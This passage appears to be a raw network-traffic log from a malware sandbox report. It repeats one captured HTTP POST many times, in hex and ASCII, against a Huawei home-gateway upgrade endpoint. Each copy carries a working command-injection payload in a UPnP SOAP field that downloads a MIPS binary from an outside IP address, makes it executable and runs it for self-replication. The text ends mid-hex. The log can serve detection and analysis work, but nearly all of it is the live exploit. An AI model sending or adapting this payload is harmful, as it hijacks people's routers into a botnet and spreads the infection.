2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 